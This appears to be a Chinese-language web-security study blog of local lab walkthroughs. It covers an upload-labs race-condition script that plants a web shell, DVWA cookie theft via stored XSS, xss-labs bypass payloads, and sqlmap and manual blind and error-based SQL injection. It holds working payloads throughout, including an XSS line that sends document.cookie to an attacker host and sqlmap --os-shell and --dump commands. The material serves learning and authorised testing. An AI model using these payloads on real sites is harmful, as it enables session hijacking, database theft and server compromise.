    33
    34
    35
    36
    import requests
    import threading
    import time

    BASE = "http://127.0.0.1:81/upload-labs/upload"
    found = False #全局标志, 找到shell即停
    def trigger():
    # 不断访问 test.php 触发php执行
    global found
    while not found:
    try:
    requests.get(f"{BASE}/test.php", timeout=2)
    except:
    pass
    def check():
    # 不断检测shell.php 是否存在
    global found
    while not found:
    try:
    r = requests.get(f"{BASE}/shell.php", timeout=2)
    if r.status_code == 200:
    found = True
    print(f"\n[+] shell OK!")
    print(f"[+]link:{BASE}/shell.php")
    print(f"[+]password: cmd")
    return
    except:
    pass
    time.sleep(0.05)
    if __name__ == "__main__":
    print("[*] 先启动BurpSuite-Intruder, 按回车开始..")
    input()

    for _ in range(5): # 5个触发线程
    threading.Thread(target=trigger, daemon=True).start()
    check() # 主线程负责检测
  • 绕过流程

    • 启动靶场
    • 选择test.php
    • BurpSuite抓包拦截
    • 拦截数据定向至Intruder
      • Payload type: Null payloads
      • Payload configuration: Continue indefinitely
      • Start attack
    • 启动access.py

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: DVWA


1.0 Cookie劫持

1.1 基础部分

01 什么是Cookie?

用户在浏览器中输入账号密码登录网站后, 接下来的每次请求, 服务器如何知道 “ 这个请求是刚才登录的那个用户发来的 “ ? 通过Cookie

  • 自动携带: 浏览器每次向同一域名发送请求时, 会自动附带上该域名下的所有 Cookie
  • 键值对结构: Cookie: name=value; name2=value2
  • 作用范围: 由 DomainPath 属性控制
  • 有效期: 由 ExpiresMax-Age 决定, 若不设置则为“会话 Cookie”, 关闭浏览器即失效

攻击者关心的三个安全属性

属性 作用 攻击视角
HttpOnly 禁止 JavaScript 读取 开启后 document.cookie 读不到, 无法窃取 Cookie, 但仍可做钓鱼, CSRF
Secure 仅通过 HTTPS 传输 未设此属性时, HTTP 连接可被中间人窃听
SameSite 控制跨站请求是否携带 Cookie Strict 最严, Lax 允许 GET 跨站携带, None 全放行

02 什么是Session?

Session 是保存在服务器端的用户会话数据. 它的工作流程:

  1. 用户登录成功 → 服务器创建一个 Session, 并生成唯一的 Session ID
  2. 服务器把 Session ID 通过 Set-Cookie 头发给浏览器
  3. 浏览器保存这个 Cookie, 后续每次请求自动带回
  4. 服务器根据请求中的 Session ID, 查找对应的 Session 数据, 识别用户身份

Session 与 Cookie 的关系:

概念 存储位置 相当于
Session 服务器端 保险柜, 存放用户的所有会话数据
Cookie(中的 Session ID) 浏览器端 保险柜的钥匙,证明你就是你
Session 劫持 拿到钥匙 攻击者窃取 Cookie 后, 用钥匙打开受害者的保险柜

攻击者视角核心认知: Session 数据本身不会被窃取(它在服务器里), 但只要拿到 Cookie 里的 Session ID, 就能冒充受害者.

03 Cookie劫持核心:

如果攻击者通过 XSS 漏洞获取了受害者的 Cookie, 就等于拿到了受害者的 “临时身份证” 攻击者可以将这个 Cookie 写入自己的浏览器, 完全以受害者的身份登录网站, 无需知道用户名和密码.


1.2 Cookie窃取实战

01 环境准备:

  • Windows-DVWA靶场
    • Level-Low
  • Kali 攻击机
    • IP: 10.0.0.201

02 攻击步骤梳理:

  • 确认XSS漏洞存在
  • 编写Cookie窃取Payload
  • 攻击机启动HTTP服务器
  • Payload注入
  • 模拟受害者访问
  • Cookie会话劫持

以下实操附截图:

  • 漏洞确认

    如上图, 选择存储型XSS并构造Payload提交

    成功弹窗, 证明漏洞存在

    同时数据库成功写入一条记录

  • Payload构造

    1
    <img src=x onerror="new Image().src='http://10.0.0.201:8000/?cookie='+document.cookie">
  • Kali启动HTTP服务

    1
    python3 -m http.server 8000

    进入监听…

  • Payload注入

    • 如下图, 在注入内容时, 网站可能会做限制, 调用开发者工具修改对应属性

    修改 maxlength=”500” 并提交

    数据库成功写入记录

  • 受害者访问

    • 新开页面登录靶场
  • Cookie劫持成功

    如上图, 受害者访问后, 服务成功获取用户的cookie数据, 若要登录该账户, 只需做以下操作

    • 调用开发者工具 → Application → Storage(Cookies) → 替换PHPSESSID的Value

    成功执行后刷新页面

1.3 防御建议

  1. 对输出进行 HTML 实体编码, 防止 XSS 注入
  2. Cookie 设置 HttpOnly 属性, 禁止 JavaScript 读取
  3. Cookie 设置 Secure 属性, 仅 HTTPS 传输
  4. Cookie 设置 SameSite=LaxStrict, 限制跨站携带
  5. 对用户输入长度做后端校验, 不依赖前端限制

以上防御措施可从根本阻断 XSS 注入, Cookie 窃取及会话劫持攻击链

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: xss-labs


1.0 概述

1.1 XSS 跨站脚本攻击 (Cross-Site Scripting)

  • 攻击者往网页注入恶意 JavaScript 代码, 其他用户访问页面时脚本自动执行, 窃取用户信息, 劫持会话, 篡改页面, 诱导跳转钓鱼.

  • 核心成因: 前端未过滤用户输入, 直接渲染到页面.

1.2 三大分类

  • 01 存储型xss(持久型, 危害最大)

    • 恶意代码存入服务器数据库, 所有访问该页面的用户都会触发

    • 场景:评论区, 留言板, 帖子, 个人简介

    • 示例留言:

      1
      <script>alert(document.cookie)</script>

      存入数据库后, 任何人打开页面都会弹出 Cookie

  • 02 反射型XSS(非持久型)

    • 恶意代码放在 URL 参数里, 点开特制链接才触发, 不存入后端

      后端直接把 keyword 拼到页面展示, 打开链接即执行脚本

  • 03 DOM 型 XSS

    • 漏洞完全发生在前端 JS, 数据不经过后端, 后端无日志记录

    • 原理: JS 直接从 URL, location.hash 获取数据并插入 DOM

    • 示例:

      1
      2
      let search = location.search.slice(1);
      document.getElementById("tip").innerHTML = search;

2.0 XSS实战

2.1 XSS绕过决策树

  • 01 HTML标签之间

    1
    <div>你的输入</div>
    1
    2
    3
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>

    标准Payload

  • 02 HTML属性值内

    1
    <input value="你的输入">
    1
    " onclick=alert(1) "

    思路: 用” 闭合value属性, 用事件触发

  • 03 JavaScript代码内

    1
    <script>var name='你的输入';</script>
    1
    2
    '; alert(1); //
    "; alert(1); //
  • 04 href属性内

    1
    <a href="你的输入">link</a>
    1
    javascript:alert(1)

2.2 标准验证Payload

攻击向量 Payload
<script>标签 <script>alert(1)</script>
<img>事件 <img src=x onerror=alert(1)>
鼠标点击事件 " onclick="alert(1)
<a>伪协议 <a href="javascript:alert(1)">click</a>

该Payload验证, 出现弹窗即存在xss漏洞


2.3 xss-labs通关实战

  • Level 1

    1
    <script>alert(1)</script>

    该Payload直接通关


  • Level 2

    • 测试Payload: <Script'"Oonn>(后续关卡均使用该Payload测试)

    • 查看源码

    可见 <> 未被过滤,但 Payload 仍在 value 属性内,需用 "> 提前闭合

    1
    "><script>alert(1)</script>

  • Level 3

    可见在第17行代码中, <> 和 “被编码, 尝试使用鼠标点击事件onclick

    1
    'onclick='alert(1)

    输入框中写入Payload后点击触发事件过关


  • Level 4

    1
    <input name=keyword  value="Script'"Oonn">

    可见Payload被过滤掉<>, 使用和Level 3相同Payload即可, 只需修改闭合符

    1
    "onclick="alert(1)


  • Level 5

    1
    <input name=keyword  value="<scr_ipt"'oo_nn>">

    可见script和on关键字被过滤

    使用伪协议:

    1
    "><a href="javascript:alert(1)">click</a>


  • Level 6

    1
    <input name=keyword  value="<Script"'Oo_nn>">

    on事件被过滤, 但大小写script混合未过滤

    使用大小写混合:

    1
    "><Script>alert(1)</script>

    成功跳转至Level 7


  • Level 7

    1
    <input name=keyword  value="<"'on>">

    整个script均被过滤, 但on还剩一个, 证明只做一次过滤

    使用双写:

    1
    "><scscriptript>alert(1)</scscriptript>

    逻辑: 源码只过滤一次script关键字, 双写刚好只剩一个完整<script></script>


  • Level 8

    源码可见注入发生在中, 且script会被过滤, 使用编码器将s编码&#x73;

    使用伪协议:

    1
    java&#x73;cript:alert(1)


  • Level 9

    将链接改为标准格式即可

    1
    java&#x73;cript:alert('http://baidu.com')


  • Level 10

    • 主页无输入框, 且keyword的参数不影响value(通过以下源码可知)

    通过源码可知, 传参点在input内

    • 对t_link, t_history, t_sort 三个字段分别传参测试

    t_link=1 t_history=1 t_sort=1

    可见注入点在t_sort字段中, 构造以下payload

    1
    click" type="button" onclick="alert(1)


  • Level 11

    通过以上源码可知, 注入点在t_ref 且或许类似于Request的Referer字段, 利用burpsuite测试

    抓包数据印证猜测无误, 本页面确实是由level 10 通过构造的t_sort Payload跳转

    1
    click" type="button" onclick="alert(1)
    • 将Request中Referer字段值替换为以上Payload, Forward后得到以下结果:


  • Level 12

    通过源码可知, t_ua 为Request中User-Agent字段, 同样使用burpsuite抓包

    1
    click" type="button" onclick="alert(1)
    • 将Request中User-Agent字段值替换为以上Payload, Forward后得到以下结果:


  • Level 13

    通过源码可知, t_cook 为Request中Cookie字段, 同样使用burpsuite抓包

    1
    click" type="button" onclick="alert(1)
    • 将Request中Cookie字段值替换为以上Payload, Forward后得到以下结果:


2.4 总结

Level 考察点
1, 2 无过滤反射型
3, 4 <>被编码 事件属性绕过
5 <a>伪协议
6 大小写混合
7 双写绕过
8, 9 伪协议+实体化编码
10 隐藏属性+事件属性
11, 12, 13 HTTP协议+Request请求头报文+隐藏属性+事件属性

Level 1-9 聚焦标签与属性注入绕过, Level 10-13 则将攻击面扩展到HTTP请求头与隐藏参数, 体现了真实攻防中的信息收集能力

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: sqli-labs Less-8


1.0 介绍

1.1 SQLMap是什么:

SQLMap 是一款自动化检测和利用 SQL 注入漏洞的开源工具。它负责你手工做完“确认注入点, 闭合方式, 注入类型”之后的重复劳动——自动化拖库, 拿 Shell。

1.2 参数及作用

参数 用途 示例
-u 指定GET请求的URL sqlmap -u “url ?id=1”
-r 从文件加载HTTP请求(POST, Cookie) sqlmap -r request.txt
-m 批量扫描多个URL(文件列表) sqlmap -m urls.txt
-p 指定要测试的参数(多参数时用) sqlmap -u “…” -p username
注入检测与配置
–level 检测深度1-5,默认1; 2会检测Cookie, 3检测User-Agent/Referer --level 3 会测 HTTP 头注入
–risk 风险等级 1-3。2 会测 OR 1=13 会测 OR 更新数据 --risk 2 可能修改数据库
–prefix 指定 Payload 的前缀(闭合符号) –prefix=”1’”
–suffix 指定 Payload 的后缀(注释符) –suffix=”–+”
–technique 指定注入类型:B(布尔盲注),T(时间盲注),U(UNION),E(报错),S(堆叠) 手工确认后,用 --technique=B 只跑盲注,加速扫描
数据获取
–dbs 列出所有数据库 sqlmap -u “…” –dbs
–current-db 当前库名 sqlmap -u “…” –current-db
-D 指定数据库 -D security
–tables 列出表 -D security –tables
-T 指定表 -T users
–columns 列出列 -D security -T users –columns
-C 指定列(逗号分隔) -C username,password
–dump 拖出数据 -D security -T users –dump
–dump-format 输出格式 CSV,HTML,SQLITE
系统交互 前提条件
–os-shell 获取系统 Shell MySQL 有写文件权限、知道绝对路径、支持堆叠注入
–os-cmd 执行单条系统命令 同上
–file-read 读取目标文件 有文件读权限
–file-write 上传文件到目标 有文件写权限
–file-dest 指定目标文件路径 有文件写权限

1.3 输出信息解读

SQLMap 输出信息 含义 你的行动
[INFO] testing for SQL injection on parameter 'id' 正在测试注入点 等待结果
[INFO] parameter 'id' is 'MySQL >= 5.0' injectable 确认注入存在,目标为 MySQL 可以直接用 --dbs 爆库
[CRITICAL] connection timed out 网络超时 降低 --threads 或加 --delay
[WARNING] the SQL query provided does not return any output 注入点无回显,SQLMap 切换盲注 耐心等待,或指定 --technique
[INFO] fetching tables for database: 'security' 正在提取表名 等待,不要中断
[INFO] retrieved: users 成功提取到表名 继续下一步
[INFO] the back-end DBMS is MySQL 识别出数据库类型 可用 MySQL 特有函数(如 LOAD_FILE

1.4 高级用法

参数 用途
–tamper 调用绕过脚本(如 space2comment 绕过空格过滤)
–threads 并发线程数(1-10),盲注时提速
–delay 每次请求间隔秒数,防封 IP
–proxy 通过代理发送(如 --proxy http://127.0.0.1:8080 走 Burp)
–random-agent 随机 User-Agent,避免简单防护
–batch 所有选项选默认,全自动化
–flush-session 清除缓存重新测试,防止误报

2.0 靶场实战

01 确认注入点符号闭合方式

1
2
?id=1'     --报错
?id=1' --+ --恢复

02 确认有无回显

1
2
?id=1' order by 4 --+             --探测无反应
?id=1' union select 1,2,3,4 --+ --探测无反应

03 使用报错方式

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

页面无任何报错回显

以上联合注入和报错均不能使用,尝试使用盲注

04 布尔盲注, 探测数据库字段长度看页面变化

1
?id=1' and length(database())=8 --+

可见该数据库名字段长度是8, 布尔盲注生效

05 使用sqlmap进行快速拖库

  • 信息梳理
    • 该注入点类型为布尔盲注
    • 数据库名字段长度=8
    • GET型
  • 获取当前数据库
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique=B --current-db

如上图, 布尔盲注成功注入, 获取当前数据库, 库名为 security, 也反证前面获取字段长度无误

  • 获取当前数据库所有表
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security --tables

成功获取security下所有数据表

  • 获取指定表所有字段
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security -T users --columns

可见users表中有3个字段,分别是 id password username

  • 获取指定字段数据
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security -T users -C "username,password" --dump

如图, 数据被打印在控制台, 同时默认会在用户\AppData\Local\sqlmap\output\127.0.0.1\dump\security下生成csv文件存放本次结果

  • 获取系统shell
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --os-shell

命令执行后, 第一个选项是当前网站语言, 选择[5]PHP

第二个选项是选择指定目录,这里选择[2], (靶场部署时路径透明)

如图已经成功拿到shell

  • os-shell可执行操作:
    • 获取服务器地址
    • 写入内容
      • 文本
      • 代码
1
2
3
4
5
# 获取网络信息
ipconfig --windows
ifconfig/ip a --linux
# 写入内容
echo xxx > 路径/文件名
  • 文件写入测试:
1
os-shell> echo hello > D:\phpstudy\WWW\sqli-labs\Less-8\hello.txt

以上操作均在本地靶场环境进行,仅供安全学习与授权测试使用,请勿用于未授权攻击。

The above operations are carried out in the local shooting range environment and are only for safety learning and authorized testing purposes. Please do not use them for unauthorized attacks.

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: sqli-labs Less-8


1.0 布尔盲注&延时盲注函数

在布尔注入及延时注入中, 常用函数如下:

序号 函数 注释
1 if(条件,返回值1,返回值2) 判断条件, 若为真返回(返回值1), 否则为返回值2
2 substr(str,1,2) 从第1位开始截取’str’的长度为2 (st)
3 length(database())=8 判断数据库名称长度是否为8
4 ascii(s)=115 判断字母’s’编码是否为115
5 sleep(n) 延时输出结果,n为秒数

手工注入流程(布尔盲注):

01 判断数据库字符长度

1
?id=1' and length(database())=8 --+

当前数据库名长度=8

02 猜解数据库名,(采用ascii编码)

1
?id=1' and ascii(substr(database(), 1,1))=115 --+

猜测正确,第一位确实为 ‘115’, 小写字母 ‘s’, 继续猜剩余7位即可

03 猜解表名长度

1
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

当前数据库第一个表, 表名长度=6

04 猜解数据表名

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=114 --+

当前库第一个表,第一个字母并非 ‘114’ , ‘r’

05 猜解列名

1
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1,1))=114 --+

users 表中第一个字段首字母并非 ‘114’,’r’

盲注每一步都需要猜解大量字符, 以上是标准Payload, 实际过程中使用二分法思路结合ASCII编码进行.

延时盲注:

延时盲注即在布尔盲注的语句中添加条件判断if (IF(条件, sleep(秒数), 0)) , 标准格式如下:

1
?id=1' and if(length(database())=8,sleep(3),0)--+

以上语句为真, 执行sleep(3) , 如上图, 浏览器会有加载标识

Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: sqli-labs Less-5 & Less-11

1.0 报错注入

01 逻辑原理:

  • 当无union回显时,优先使用报错注入

  • updatexml 函数在处理第二个参数(XPath 路径)时,若遇到非法 XPath 表达式会抛出错误,并将错误内容直接返回到页面

02 报错注入Payload模板:

1
?id=1[闭合符号] and updatexml(1, concat(0x7e, ([标量子查询]), 0x7e), 1) [注释]

1.1 手工注入流程

01 符号闭合, 确认报错

1
?id=1'报错 | ?id=1'--+ 恢复

02 爆库名

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

03 爆表名

1
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+

通过修改 limit 偏移量(0,11,1 → …)可逐表爆出所有表名。此处以 limit 3,1 直接定位到第 4 个表(users)作为示例

limit 3,1 第四个表为users

04 爆列名

1
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)--+

limit 1,1, limit 2,1 分别为 username、password 字段

05 爆数据

1
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e),1)--+

使用 limit 逐行提取数据即可

1.2 报错长度限制与绕过

updatexml 的报错信息最长返回 32 个字符,使用 group_concat 聚合多行时极易被截断。常用两种绕过方式:

方式 Payload 特征 优点 缺点
逐行提取 concat + limit 0,1 递增 稳定不截断 需多次请求
分段读取 substr(group_concat(...), 1, 30) 一次性聚合 需手工拼接结果

1.3 POST 报错注入(Less-11)

POST 场景只需将注释符改为 #,其余步骤完全一致, 例如:

1
-admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #

  • 或用 Burp Suite:
1
uname=-admin' and updatexml(1,concat(0x7e,database(),0x7e),1) # &passwd=&submit=Submit

0%